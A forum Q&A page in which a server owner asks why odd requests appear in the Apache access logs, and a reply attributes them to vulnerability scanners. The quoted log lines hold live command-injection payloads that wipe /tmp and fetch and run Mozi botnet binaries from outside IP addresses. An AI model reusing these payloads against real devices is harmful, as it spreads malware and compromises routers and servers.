Answer the question
In order to leave comments, you need to log in
How to leave a trace in Apache logs?
Hello. I look at the Apache logs, someone is trying to upload a file, and unfortunately they succeeded. There are entries like this
"GET /shell?cd+/tmp;rm+-rf+*;wget+ 117.221.178.19:40872/Mozi.a;chmod+777+Mozi.a;/tmp/... HTTP/1.0" 404 1723 "- " "Hello, world"
"GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+ 178.175.88.132:39452/Mozi.m+-O+/tmp/netgear;sh+net. .. HTTP/1.0" 500 1711 "-" "-"
No matter how I tried, through the domain, or by ip address, contact the same way, but the browser just says 404. I also tried to make a request directly through telnet. And there is nothing in the logs. How do they make such a request that Apache writes it to the log?
Answer the question
In order to leave comments, you need to log in
Someone scans your web server, the web server says that there is no such file, and the second time it gives an error. And such a result can be obtained by running any vulnerability scanner on your address
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question